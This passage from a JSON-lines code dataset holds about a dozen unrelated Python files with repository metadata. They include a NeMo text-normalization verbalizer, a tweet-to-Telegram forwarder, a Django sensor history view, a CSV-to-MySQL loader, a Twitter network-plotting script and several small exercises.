self.assertRaises(NotImplementedError):\n tmp_cs.set_value(\"key_two\", \"value_two\")\n","repo_name":"kneedeepio/python-plugin-framework","sub_path":"tests/plugins/services/test_configurationservice.py","file_name":"test_configurationservice.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16976382161","text":"import pynini\nfrom nemo_text_processing.text_normalization.de.taggers.decimal import quantities\nfrom nemo_text_processing.text_normalization.en.graph_utils import (\n NEMO_NOT_QUOTE,\n GraphFst,\n delete_preserve_order,\n insert_space,\n)\nfrom pynini.lib import pynutil\n\n\nclass DecimalFst(GraphFst):\n \"\"\"\n Finite state transducer for classifying decimal, e.g. \n decimal { negative: \"true\" integer_part: \"elf\" fractional_part: \"vier null sechs\" quantity: \"billionen\" } -> minus elf komma vier null sechs billionen \n decimal { integer_part: \"eins\" quantity: \"billion\" } -> eins billion\n\n \"\"\"\n\n def __init__(self, deterministic: bool = True):\n super().__init__(name=\"decimal\", kind=\"classify\", deterministic=deterministic)\n\n delete_space = pynutil.delete(\" \")\n self.optional_sign = pynini.closure(pynini.cross(\"negative: \\\"true\\\"\", \"minus \") + delete_space, 0, 1)\n self.integer = pynutil.delete(\"integer_part: \\\"\") + pynini.closure(NEMO_NOT_QUOTE, 1) + pynutil.delete(\"\\\"\")\n self.fractional_default = (\n pynutil.delete(\"fractional_part: \\\"\") + pynini.closure(NEMO_NOT_QUOTE, 1) + pynutil.delete(\"\\\"\")\n )\n\n self.fractional = pynutil.insert(\" komma \") + self.fractional_default\n\n self.quantity = (\n delete_space + insert_space + pynutil.delete(\"quantity: \\\"\") + quantities + pynutil.delete(\"\\\"\")\n )\n self.optional_quantity = pynini.closure(self.quantity, 0, 1)\n\n graph = self.optional_sign + (\n self.integer + self.quantity | self.integer + delete_space + self.fractional + self.optional_quantity\n )\n\n self.numbers = graph\n graph += delete_preserve_order\n delete_tokens = self.delete_tokens(graph)\n self.fst = delete_tokens.optimize()\n","repo_name":"NVIDIA/NeMo-text-processing","sub_path":"nemo_text_processing/text_normalization/de/verbalizers/decimal.py","file_name":"decimal.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"78"} +{"seq_id":"24673545604","text":"import metadata\nimport yaml\nfrom pykwalify.core import Core\nimport os\nimport shutil\nfrom pushd import Dir\nimport exectools\nimport sys\n\n\nVALID_UPDATES = {\n 'mode': metadata.CONFIG_MODES,\n}\n\n\n# Used in oit.py to print out valid update options\n# in --help output\ndef valid_updates():\n res = '\\n\\tKey\\tValid Options\\n\\n'\n for k, v in VALID_UPDATES.iteritems():\n opts = \"\"\n if v:\n v = [str(i) for i in v]\n opts = ':\\t{}'.format(','.join(v))\n res += '\\t{}{}\\n\\n'.format(k, opts)\n return res\n\n\nclass MetaDataConfig(object):\n \"\"\"\n Holds common functions for managing the MetaData configs\n Mostly is a class to hold runtime\n \"\"\"\n def __init__(self, runtime):\n self.runtime = runtime\n if self.runtime.remove_tmp_working_dir:\n print('config:* options require a non-temporary working space. Must run with --working-dir')\n sys.exit(1)\n\n def _load_config_log(self):\n \"\"\"\n /.config file holds details of the current\n config management session\n Load that file into a dict\n \"\"\"\n config_path = os.path.join(self.runtime.working_dir, '.config')\n if not os.path.isfile(config_path):\n return {}\n with open(config_path, 'r') as f:\n data = yaml.load(f)\n return data\n\n def _save_config_log(self, data):\n \"\"\"\n /.config file holds details of the current\n config management session\n Save that file\n \"\"\"\n config_path = os.path.join(self.runtime.working_dir, '.config')\n with open(config_path, 'w') as f:\n yaml.safe_dump(data, f, default_flow_style=False)\n\n def _do_update(self, meta, k, v):\n \"\"\"\n Convenience function for setting meta keys\n \"\"\"\n self.runtime.logger.info('{}: [{}] -> {}'.format(meta.in_group_config_path, k, v))\n meta.config[k] = v\n meta.save()\n\n def update(self, key, val):\n \"\"\"\n Update [key] to [val] in all given image/rpm metas\n VALID_UPDATES is used to lock out what can be updated\n Right now only [mode] is valid, but that may change\n \"\"\"\n if key not in VALID_UPDATES:\n raise ValueError('{} is not a valid update key. See --help'.format(key))\n\n if VALID_UPDATES[key]:\n if val not in VALID_UPDATES[key]:\n msg = '{} is not a valid value for {}. Use one of: {}'.format(val, key, ','.join(VALID_UPDATES[key]))\n raise ValueError(msg)\n\n for img in self.runtime.image_metas():\n self._do_update(img, key, val)\n\n for rpm in self.runtime.rpm_metas():\n self._do_update(rpm, key, val)\n\n def config_print(self, key=None, name_only=False):\n \"\"\"\n Print name, sub-key, or entire config\n \"\"\"\n def _do_print(meta, k):\n if name_only:\n print(meta.in_group_config_path)\n else:\n if k:\n val = meta.config.get(k, None)\n else:\n val = meta.config.primitive()\n\n val = yaml.safe_dump(val, default_flow_style=False)\n\n print(\"*****\" + meta.in_group_config_path + \"*****\")\n print(val)\n print('')\n\n image_metas = self.runtime.image_metas()\n rpm_metas = self.runtime.rpm_metas()\n\n if image_metas:\n print('')\n print('********* Images *********')\n for img in image_metas:\n _do_print(img, key)\n\n if rpm_metas:\n print('')\n print('********* RPMs *********')\n for rpm in rpm_metas:\n _do_print(rpm, key)\n\n def commit(self, msg):\n \"\"\"\n Commit outstanding metadata config changes\n \"\"\"\n self.runtime.logger.info('Commit config: {}'.format(msg))\n with Dir(self.runtime.metadata_dir):\n exectools.cmd_assert([\"git\", \"add\", \".\"])\n exectools.cmd_assert([\"git\", \"commit\", \"--allow-empty\", \"-m\", msg])\n\n def push(self):\n \"\"\"\n Push changes back to config repo.\n Will of course fail if user does not have write access.\n \"\"\"\n self.runtime.logger.info('Pushing config...')\n with Dir(self.runtime.metadata_dir):\n exectools.cmd_assert([\"git\", \"push\"])\n\n def new(self, new_type, name):\n \"\"\"\n Given type and name, copy template config into correct place\n and report that new config file path for editing.\n \"\"\"\n valid_types = ['image', 'rpm']\n new_type = new_type.lower()\n if new_type not in valid_types:\n raise ValueError('Type must be one of {}'.format(','.join(valid_types)))\n\n new_type = new_type + 's'\n template = os.path.join(self.runtime.metadata_dir, 'example', new_type, 'template.yml')\n new_config = os.path.join(self.runtime.group_dir, new_type, '{}.yml'.format(name))\n\n if os.path.exists(new_config):\n raise ValueError('{} already exists!'.format(new_config))\n\n shutil.copyfile(template, new_config)\n\n config_log = self._load_config_log()\n config_log.setdefault('new', []).append(new_config)\n\n self._save_config_log(config_log)\n\n self.runtime.logger.info(\"New config template created: \\n{}\".format(new_config))\n\n def sanitize_new_config(self):\n \"\"\"\n Configs created with new() will be filled with template comments.\n We do not want those cluttering the final configs, so remove them\n by parsing and rewriting the file.\n \"\"\"\n config_log = self._load_config_log()\n if 'new' in config_log:\n for cfg in config_log['new']:\n with open(cfg, 'r+') as f:\n data = yaml.load(f)\n f.seek(0)\n yaml.safe_dump(data, f, default_flow_style=False)\n f.truncate()\n del config_log['new']\n\n self._save_config_log(config_log)\n\n","repo_name":"smunilla/doozer","sub_path":"tools/src/ocp_cd_tools/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"73580826812","text":"import os\n\n\nBKCHAT_APP_ID = os.getenv('BKCHAT_APP_ID')\nBKCHAT_APP_SECRET = os.getenv('BKCHAT_APP_SECRET')\nBKCHAT_APIGW_ROOT = os.getenv('BKCHAT_APIGW_ROOT')\nBKCHAT_PIPELINE_CONFIG = {\n \"language\": \"zh\",\n \"training_data\": \"\",\n \"pipeline\": [\n {\n \"name\": \"BertFeaturizer\",\n \"featurizer_file\": \"BertFeaturizer.pkl\",\n \"class\": \"simatcher.nlp.featurizers.BertFeaturizer\",\n \"pre_model\": \"sbert-chinese-general-v2\"\n },\n {\n \"name\": \"L2Classifier\",\n \"classifier_file\": \"L2Classifier.pkl\",\n \"class\": \"simatcher.nlp.classifiers.L2Classifier\"\n },\n {\n \"name\": \"RegexRuleEntityExtractor\",\n \"entity_regex_file\": \"entity_regex.json\",\n \"class\": \"simatcher.nlp.extractors.RegexRuleEntityExtractor\",\n \"sys_pattern_value\": [\"${USER_ID}\", \"${GROUP_ID}\"],\n \"mode\": \"max\",\n \"splitter\": r\"\\?+|\\s+\"\n }\n ],\n \"trained_at\": \"20231016-145515\",\n \"version\": \"0.0.0\"\n}\n","repo_name":"xiashuqin89/simatcher","sub_path":"simatcher/engine/bk/bkchat/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31664209871","text":"# The hour hand of an analog clock turned α degrees since the midnight. \n# Determine the angle by which the minute hand turned since the start of the current hour. \n# Input and output in this problems are integers.\n\n\n# 給時針角度,算出分針角度\n# n時針角度\nn=int(input())\n\n# nn現在時間(用分鐘算)\nnn=int(n/(360/12/60))\n# print(nn)\n# 用分鐘換算分針角度\nnnn=int((nn%60)*(360/60))\nprint(nnn)","repo_name":"Guan-Ling/20210125","sub_path":"2-C.py","file_name":"2-C.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25787816101","text":"# Forward tweets to a Telegram channel\n\n\nimport os\nimport json\nimport base64\nimport tweepy\nimport logging\nfrom zoneinfo import ZoneInfo\nfrom datetime import datetime\nfrom telegram import Bot, InputMediaPhoto\nfrom telegram.utils.helpers import escape_markdown\n\n\ntwitter_id = 1243884873451835392 # @realKumaTea\ntg_bot_id = 781791363 # @KumaTea_bot\nchannel_id = -1001713500645 # @KumaLogs\nlast_id_file = 'last_id.txt'\ndelay_time = 60 * 10 # 10 minutes\n\nlogging.basicConfig(\n format='%(asctime)s %(levelname)-8s %(message)s',\n level=logging.INFO,\n datefmt='%Y-%m-%d %H:%M:%S')\n\n\ndef query_token(token_id=None, filename=None):\n filename = filename or f'token_{token_id}'\n with open(filename, 'rb') as f:\n return base64.b64decode(f.read()).decode('utf-8')\n\n\ntwitter_token = json.loads(query_token('twitter'))\nauth = tweepy.OAuthHandler(twitter_token['consumer_key'], twitter_token['consumer_secret'])\nauth.set_access_token(twitter_token['access_token'], twitter_token['access_token_secret'])\ntwi = tweepy.API(auth, wait_on_rate_limit=True)\n\ntg = Bot(query_token(tg_bot_id))\n\n\ndef get_latest_tweet_id(user_id):\n return twi.user_timeline(user_id=user_id, count=1)[0].id\n\n\ndef get_new_tweets(user_id, last_id):\n tweets = twi.user_timeline(\n user_id=user_id,\n since_id=last_id,\n exclude_replies=True,\n include_rts=False,\n tweet_mode='extended'\n )\n for i in range(len(tweets)):\n if tweets[i].truncated:\n tweets[i] = twi.get_status(tweets[i].id, tweet_mode='extended')\n return tweets\n\n\ndef get_tweet_type(tweet):\n # text, photo, video, gif\n if getattr(tweet, 'extended_entities', None):\n if tweet.extended_entities['media'][0]['type'] == 'photo':\n return 'photo'\n elif tweet.extended_entities['media'][0]['type'] == 'video':\n return 'video'\n elif tweet.extended_entities['media'][0]['type'] == 'animated_gif':\n return 'gif'\n return 'text'\n\n\ndef get_tweet_photos(tweet):\n # assert that the tweet has photos\n return [i['media_url_https'] for i in tweet.extended_entities['media']]\n\n\ndef get_tweet_video(tweet):\n return tweet.extended_entities['media'][0]['video_info']['variants'][0]['url']\n\n\ndef get_tweet_gif(tweet):\n # same as video!\n return get_tweet_video(tweet)\n\n\ndef get_media_entities_url(tweet):\n return tweet.entities['media'][0]['url']\n\n\ndef get_urls_in_tweet(tweet):\n if getattr(tweet, 'entities', None):\n if tweet.entities.get('urls', None):\n return [\n {'url': url['url'],\n 'display_url': url['display_url'],\n 'expanded_url': url['expanded_url']\n } for url in tweet.entities['urls']\n ]\n return []\n\n\ndef prepare_album(tweet, caption=None, parse_mode=None):\n album = [InputMediaPhoto(i) for i in get_tweet_photos(tweet)]\n if caption:\n album[0] = InputMediaPhoto(get_tweet_photos(tweet)[0], caption=caption, parse_mode=parse_mode)\n return album\n\n\ndef get_tweet_time(tweet):\n tweet_time = tweet.created_at.astimezone(tz=ZoneInfo('Asia/Shanghai'))\n tweet_time_str = tweet_time.strftime('%m/%d %H:%M')\n return tweet_time_str\n\n\ndef forward_tweet(tweet, no_notify=True):\n tweet_type = get_tweet_type(tweet)\n urls = get_urls_in_tweet(tweet)\n\n tweet_text = tweet.text\n if urls:\n for url in urls:\n tweet_text.replace(url['url'], f'[{url[\"display_url\"]}]({url[\"expanded_url\"]})')\n tweet_time = get_tweet_time(tweet)\n tweet_url = f'https://twitter.com/{tweet.user.screen_name}/status/{tweet.id}'\n tweet_info = escape_markdown('#里推 ', version=2) + f'[{tweet_time}]({tweet_url})'\n\n if tweet_type == 'text':\n tweet_text = escape_markdown(tweet_text, version=2)\n text = f'{tweet_info}\\n\\n{tweet_text}'\n tg.send_message(\n channel_id,\n text,\n disable_web_page_preview=True,\n disable_notification=no_notify,\n parse_mode='MarkdownV2'\n )\n else:\n # check if pure media without text\n # in this case text is media url\n if tweet.text == get_media_entities_url(tweet):\n text = tweet_info\n else:\n tweet_text = tweet_text.replace(get_media_entities_url(tweet), '')\n tweet_text = escape_markdown(tweet_text, version=2)\n text = f'{tweet_info}\\n\\n{tweet_text}'\n\n if tweet_type == 'photo':\n if len(get_tweet_photos(tweet)) > 1:\n tg.send_media_group(\n channel_id,\n prepare_album(tweet, caption=text, parse_mode='MarkdownV2'),\n disable_notification=no_notify\n )\n else:\n tg.send_photo(\n channel_id,\n get_tweet_photos(tweet)[0],\n caption=text,\n disable_notification=no_notify,\n parse_mode='MarkdownV2'\n )\n elif tweet_type == 'video':\n tg.send_video(\n channel_id,\n get_tweet_video(tweet),\n caption=text,\n disable_notification=no_notify,\n parse_mode='MarkdownV2'\n )\n else: # gif\n tg.send_animation(\n channel_id,\n get_tweet_gif(tweet),\n caption=text,\n disable_notification=no_notify,\n parse_mode='MarkdownV2'\n )\n\n logging.info(f'Forwarded {tweet_type} tweet: {tweet.id}')\n return True\n\n\ndef sync_tweets(user_id, last_id):\n # forward tweet in reverse order\n new_last_id = last_id\n new_tweets = get_new_tweets(user_id, last_id)\n # add attribute 'text' by copying 'fill_text'\n for tweet in new_tweets:\n if not getattr(tweet, 'text', None):\n tweet.text = tweet.full_text\n logging.info(f' New tweets: {len(new_tweets)}')\n for tweet in reversed(new_tweets):\n if (datetime.now(\n tz=ZoneInfo('Asia/Shanghai')\n ) - tweet.created_at.astimezone(tz=ZoneInfo('Asia/Shanghai'))).seconds > delay_time:\n if forward_tweet(tweet, no_notify=True):\n new_last_id = tweet.id\n return new_last_id\n\n\ndef main():\n if os.path.isfile(last_id_file):\n with open(last_id_file, 'r') as f:\n last_id = int(f.read())\n to_sync = True\n else:\n # initialize last_id\n last_id = get_latest_tweet_id(twitter_id)\n with open(last_id_file, 'w') as f:\n f.write(str(last_id))\n to_sync = False\n\n if to_sync:\n last_id = sync_tweets(twitter_id, last_id)\n with open(last_id_file, 'w') as f:\n f.write(str(last_id))\n\n return True\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"KumaTea/twitter-projects","sub_path":"tg-fwd/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"26541427740","text":"\"\"\"Day 2: Rock Paper Scissors.\"\"\"\nfrom aocd.models import Puzzle\n\n\nclass RPS:\n \"\"\"Rock Paper Scissors.\"\"\"\n\n def __init__(self, strategy_guide: str) -> None:\n \"\"\"Initiate class.\"\"\"\n self.strategy: list[list[str]]\n self._add_data(strategy_guide)\n\n def _add_data(self, strategy_guide: str) -> None:\n \"\"\"Add moves from strategy guide.\"\"\"\n self.strategy = [x.split(\" \") for x in strategy_guide.splitlines()]\n\n def total_score(self) -> int:\n \"\"\"Calculate total score.\"\"\"\n score = 0\n for game in self.strategy:\n score += ord(game[1]) - 87 # 1 for Rock, 2 for Paper, and 3 for Scissors\n if ((game[1] == \"X\" and game[0] == \"C\") # Rock beats scissors\n or (game[1] == \"Y\" and game[0] == \"A\") # Paper beats rock\n or (game[1] == \"Z\" and game[0] == \"B\")): # Scissor beats paper\n score += 6\n elif ord(game[1]) == ord(game[0]) + 23: # Draw\n score += 3\n else: # Loss\n continue\n\n return score\n\n def correct_score(self) -> int:\n \"\"\"Calculate correct score.\"\"\"\n game_rules = {\"C\": {\"win\": 1, \"lose\": 2}, # Rock beats scissors\n \"A\": {\"win\": 2, \"lose\": 3}, # Paper beats rock\n \"B\": {\"win\": 3, \"lose\": 1}} # Scissor beats paper\n\n score = 0\n for game in self.strategy:\n if game[1] == \"X\": # Lose\n score += game_rules[game[0]][\"lose\"]\n elif game[1] == \"Y\": # Draw\n score += 3\n score += ord(game[0]) - 64\n elif game[1] == \"Z\": # Win\n score += 6\n score += game_rules[game[0]][\"win\"]\n\n return score\n\n\ndef main() -> None:\n \"\"\"Solve the puzzle.\"\"\"\n puzzle = Puzzle(day=2, year=2022)\n rps = RPS(puzzle.input_data)\n print(rps.total_score())\n print(rps.correct_score())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"denngie/AoC2022","sub_path":"day_02.py","file_name":"day_02.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12775621671","text":"from django.shortcuts import render\nfrom django.views import View\nfrom django.http import JsonResponse\nfrom .forms import SensorSelectionForm\nfrom .models import Sensor, History\nfrom django.db.models import Avg\nfrom django.views.generic import TemplateView\nfrom chartjs.views.lines import BaseLineChartView\nfrom django.utils import timezone\n\n\nclass HistoryView(View):\n template_name = \"history.html\"\n\n def get(self, request):\n form = SensorSelectionForm()\n return render(request, self.template_name, {'form': form, 'history': None})\n\n def post(self, request):\n form = SensorSelectionForm(request.POST)\n if form.is_valid():\n sensor_id = form.cleaned_data['sensor_id']\n # Tri de l'historique par date de la plus récente à la plus ancienne\n history = History.objects.filter(sensor_id=sensor_id).order_by('-update_time')\n humid_avg = History.objects.aggregate(Avg(\"humidity\"))\n return render(request, self.template_name, {'form': form, 'history': history, 'humid_avg': humid_avg })\n return render(request, self.template_name, {'form': form, 'history': None})\n\nclass HomeView(View):\n template_name = \"home.html\"\n\n def get(self, request):\n form = SensorSelectionForm()\n return render(request, self.template_name, {'form': form, 'history': None})\n\n def post(self, request):\n form = SensorSelectionForm(request.POST)\n if form.is_valid():\n sensor_id = form.cleaned_data['sensor_id']\n\n # Définir la date limite pour les 24 dernières heures\n limit_date = timezone.now() - timezone.timedelta(hours=24)\n\n # Récupérer l'historique du capteur pour les 24 dernières heures dans l'ordre croissant\n history = History.objects.filter(sensor_id=sensor_id, update_time__gte=limit_date).order_by('update_time')\n\n # Exclusion des doublons de température, d'humidité et de signal RSSI\n unique_history = []\n prev_temp = prev_humidity = prev_rssi = None\n for entry in history:\n if entry.temperature != prev_temp or entry.humidity != prev_humidity or entry.signal_rssi != prev_rssi:\n unique_history.append(entry)\n prev_temp = entry.temperature\n prev_humidity = entry.humidity\n prev_rssi = entry.signal_rssi\n\n # Conversion des données en format JSON pour le graphique\n data = {\n 'temperature': [{'x': entry.update_time.isoformat(\"#\", \"minutes\"), 'y': entry.temperature} for entry in unique_history],\n 'humidity': [{'x': entry.update_time.isoformat(\"#\", \"minutes\"), 'y': entry.humidity} for entry in unique_history],\n }\n\n return JsonResponse(data)\n return JsonResponse({'error': 'Formulaire non valide'})","repo_name":"barthelemy-lebel/station-meteo","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30887149571","text":"# index row in Pascal's triangle\r\n \r\n# Function to find the elements\r\n# of rowIndex in Pascal's Triangle\r\ndef getRow(rowIndex) :\r\n \r\n currow = []\r\n \r\n # 1st element of every row is 1\r\n currow.append(1)\r\n \r\n # Check if the row that has to\r\n # be returned is the first row\r\n if (rowIndex == 0) :\r\n \r\n return currow\r\n \r\n # Generate the previous row\r\n prev = getRow(rowIndex - 1)\r\n \r\n for i in range(1, len(prev)) :\r\n \r\n # Generate the elements\r\n # of the current row\r\n # by the help of the\r\n # previous row\r\n curr = prev[i - 1] + prev[i]\r\n currow.append(curr)\r\n \r\n currow.append(1)\r\n \r\n # Return the row\r\n return currow\r\n \r\nn = 0\r\narr = getRow(n)\r\n \r\nfor i in range(len(arr)) :\r\n \r\n if (i == (len(arr) - 1)) :\r\n print(arr[i])\r\n else :\r\n print(arr[i] , end = \", \")\r\n \r\n","repo_name":"ADITYADAS1999/Advance-Data-Structure-Algorithm-using-Python","sub_path":"26_print_a_particular_index_of_pascal_triangle.py","file_name":"26_print_a_particular_index_of_pascal_triangle.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34059426224","text":"import requests\nfrom bs4 import BeautifulSoup\n\nrequest = requests.get('http://www.dowellcomputer.com/main.jsp')\n\nhtml = request.text\n\nsoup = BeautifulSoup(html, 'html.parser')\n\ndivs = soup.findAll('td',{\"class\" : \"tail\"})\n'''\nfindAll(tag, attributes, recursive, text, limit, keywords)\nfind(tag, attributes, recursive, text, keywaords)\n해당 속성값을 가진 태그를 가져온다.\n\ntag는 따옴표에 담아서 사용\nattributes는 중괄호에 담아서 사용\n 중괄호 안에서 \"속성명\" : \"속성값\"의 형태로 사용\n'''\n\nfor div in divs:\n\tprint(div.text)\n\t# div.text : 가져온 태그의 내용만을 추출","repo_name":"LeeWoojin-99/Web-Crwaling","sub_path":"WC_findAll.py","file_name":"WC_findAll.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2064781420","text":"\nimport mysql.connector as sql\nimport csv\nimport ast\n\nreader = csv.DictReader(open('meta_file.csv','r'))\nfields = reader.fieldnames #data column names\nfor i in range(len(fields)):\n\tfields[i]=fields[i].strip() # del spaces from both size of text (names)\n\nfields2 = fields[:] # make copy of fields\n\nfor i in range(len(fields)):\n fields[i]=fields[i]+' TEXT' #add 'text' to original fields. needed for database query\n\nextfile = open('password.txt', 'r').read() #read database password from a text file\n\ncon_args2 = {'host':'localhost', 'user':'root', 'passwd' : '{pw}'.format(pw=extfile),\n 'database': 'Eurostat'}\ndb = sql.connect(**con_args2)\ndbcursor = db.cursor()\n\n\n\ncols = []\nfor i in range(3): \n cols.append(fields[i])\ncols = ' , '.join(cols) \n\ndbcursor.execute(\"CREATE TABLE IF NOT EXISTS meta ({name})\".format(name=cols))\n\n\n\ntod=[]\n\nfor i in reader:\n\ttod.append(i)\n# now tod contains 1 element OrderedDict\ntod2=[]\nfor a,b in tod[0].items():\n tod2.append([a,b]) #tod2 is list of lists, [colname,string of 20 ths rowname-value pairs] \n\ndata = []\nfor i in range(len(tod2)):\n data.append(list(ast.literal_eval(tod2[i][1]).values())) # list of lists [ [value 1.1, value1.2], [2.1,2.2]..],\n #every interior list has 20ths values (#of rows for every col). it contains data\nrow =''\ncols = ', '.join(fields2)\n\n\n\nfor i in range(len(data[1])): # number of rows \n for j in range(len(data)): # number of columns\n if len(data[j][i])==0:\n data[j][i]= 'nan'\n row += \"'\"+''.join(data[j][i])+ \"'\"+ \", \" #create a full row with data for all columns\n row= row[:-2] # remove comma after last value\n dbcursor.execute(\"INSERT INTO meta ({0}) VALUES ({1})\".format(cols, row))\n db.commit()\n row = ''\n\ndb.close()\n","repo_name":"skosench/Python2-EU-int-trade","sub_path":"part3.py","file_name":"part3.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13969129069","text":"'''\nVMP 2022-03-05: \nplotting document.\n\nto-do: \n* find good colors\n* good edge-color (or attribute)\n* why do we have na (i.e. authors in network but not in meta-data?)\n* add legend explaining colors \n'''\n\n# packages \nimport pandas as pd \nimport numpy as np\nimport re\nimport networkx as nx \nimport matplotlib.pyplot as plt \n\n# visual setup \n\n# load file\ndf = pd.read_csv(\"/work/50114/twitter/data/network/preprocessed/bropenscience_edgelist_simple.csv\")\n\n# networkx \nG = nx.from_pandas_edgelist(df,source='username_from',target='username_to', edge_attr='weight', create_using=nx.DiGraph())\n\n#### edge attributes ####\n\n# width by weight\nedge_weights = nx.get_edge_attributes(G, 'weight').values() \n\n\n#### node size ####\ndef degree_information(G, method, metric):\n '''\n G: e.g. \"weighted_degree\" \n '''\n\n degree = {node:val for (node, val) in method}\n nx.set_node_attributes(G, degree, metric)\n degree = nx.get_node_attributes(G, metric).values()\n return degree\n\n# size by degree\nweighted_degree = degree_information(G, G.degree(weight='weight'), \"weighted_degree\")\n\n#### add labels for central actors ####\ndef get_labels(G, type_str, type_lst, n_labels):\n '''\n type_str: e.g. \"mentions\" \n type_lst: corresponding.\n n_labels: number of labels\n '''\n\n # sort list and take top \n lst_sorted = sorted(type_lst, reverse=True)\n cutoff = lst_sorted[n_labels]\n \n # loop over them and assign labels to greater than cutoff \n labels = nx.get_node_attributes(G, type_str)\n labeldict = {}\n for key, val in labels.items(): \n\n if val > cutoff: \n labeldict[key] = key\n else: \n labeldict[key] = ''\n \n return labeldict \n\nn_labels = 10\nlabeldict_degreew = get_labels(G, 'weighted_degree', weighted_degree, n_labels)\n\n#### author information ###\ndf_author = pd.read_csv(\"/work/50114/twitter/data/network/preprocessed/bropenscience_authors.csv\")\n\n# gender\ndef get_attribute(G, df, id_column, attr_column, color_dct): \n\n '''\n G: \n df: \n id_column: id column to match nodes\n attr_column: attribute column \n color_dct: dictionary with color codes\n '''\n\n # get nodes in G\n df_nodes = pd.DataFrame(G.nodes(), columns = ['username'])\n # merge left with our attribute df\n df_clean = df_nodes.merge(df_author, on = \"username\", how = \"left\")\n # fill na to \"unknown\" (actually, why do we have na?)\n df_clean['gender'] = df_clean['gender'].fillna('unknown')\n # zip it \n attr_dct = dict(zip(df_clean[id_column], df_clean[attr_column]))\n nx.set_node_attributes(G, attr_dct, attr_column)\n attr_lst = nx.get_node_attributes(G, attr_column).values()\n attr_color = [color_dct.get(x) for x in attr_lst]\n return attr_color\n\ncolor_dct = {'male': 'tab:blue', 'female': 'tab:orange', 'unknown': 'tab:gray'}\ngender_color = get_attribute(\n G = G, \n df = df_author, \n id_column = \"username\",\n attr_column = \"gender\",\n color_dct = color_dct\n)\n\n#### plot ####\ndef plot_network(G, node_size_lst, edge_width_lst, node_divisor, edge_divisor, node_color, edge_color, title, filename, outfolder, seed = 8, k = None, labeldict = None):\n '''\n G: \n node_size_lst: node sizes \n edge_width_lst: edge width\n node_divisor: scaling for all node sizes \n edge_divisor: scaling for all edges \n node_color: or \n edge_color: or \n title: plot title \n filename: filename \n seed: optional seed for pos (default: 8)\n k: optional configuration of spacing for pos (default: None)\n labeldict: optional labels (defalt: None)\n ''' \n\n # setup \n fig, ax = plt.subplots(figsize=(24, 24), dpi=200, facecolor='w', edgecolor='k')\n plt.axis(\"off\")\n \n # pos \n pos = nx.spring_layout(G, k = k, seed = seed)\n\n # set up \n node_size = [node_degree/node_divisor for node_degree in node_size_lst]\n edge_width = [edge_weight/edge_divisor for edge_weight in edge_width_lst]\n\n # draw it \n nx.draw_networkx_nodes(G, pos, node_size=node_size, node_color = node_color) #, node_size = node_size, node_color = node_color)\n nx.draw_networkx_edges(G, pos, width = edge_width, alpha = 0.5, arrows=False, edge_color = edge_color) #, edge_color = edge_col)\n\n # labels \n labels = 'False'\n if labeldict: \n label_options = {\"edgecolor\": \"none\", \"facecolor\": \"white\", \"alpha\": 0}\n nx.draw_networkx_labels(G,pos,labels=labeldict,font_size=6, bbox=label_options)\n labels = 'True'\n\n plt.suptitle(f'{title}', size=50)\n plt.tight_layout()\n plt.savefig(f\"{outfolder}/{filename}_attr_seed{seed}_k{k}_labels{labels}.png\", bbox_inches='tight')\n\n# create the plot where we zoom\nnode_divisor = 2\nedge_divisor = 10\ntitle = 'bropenscience network'\noutfolder = '/work/50114/twitter/fig/network/simple'\nfilename = 'bropenscience'\n\nplot_network(\n G = G, \n node_size_lst = weighted_degree, \n edge_width_lst = edge_weights, \n node_divisor = node_divisor,\n edge_divisor = edge_divisor,\n node_color = gender_color,\n edge_color = 'tab:grey', # not sure what this should ee\n title = title,\n filename = filename,\n outfolder = outfolder,\n labeldict = labeldict_degreew\n)\n\n# create the plot where we do not zoom\nnode_divisor = 1\nedge_divisor = 2\ntitle = 'bropenscience network'\noutfolder = '/work/50114/twitter/fig/network/simple'\nfilename = 'bropenscience'\n\nplot_network(\n G = G, \n node_size_lst = weighted_degree, \n edge_width_lst = edge_weights, \n node_divisor = node_divisor, \n edge_divisor = edge_divisor, \n node_color = gender_color, \n edge_color = 'tab:grey',\n title = title, \n filename = filename, \n outfolder = outfolder\n)\n","repo_name":"victor-m-p/reform-psychology","sub_path":"twitter/network/analysis/network_simple_attributes.py","file_name":"network_simple_attributes.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33205544972","text":"import argparse\nfrom typing import Dict\n\nimport flwr as fl\nimport torch\n\nfrom fl_demo.cnn_pathmnist import Net\nfrom fl_demo.dataset_utils import get_dataset\nfrom fl_demo.dp_utils import fix_model_layers\nfrom fl_demo.fl_utils import do_fl_partitioning\nfrom fl_demo.FLClient import SimulatedFLClient\nfrom fl_demo.eval_utils import centralised_eval_fn\n\n\ndef fit_config(rnd: int) -> Dict[str, str]:\n \"\"\"Return a configuration with static batch size and (local) epochs.\"\"\"\n config = {\n \"epoch_global\": str(rnd),\n 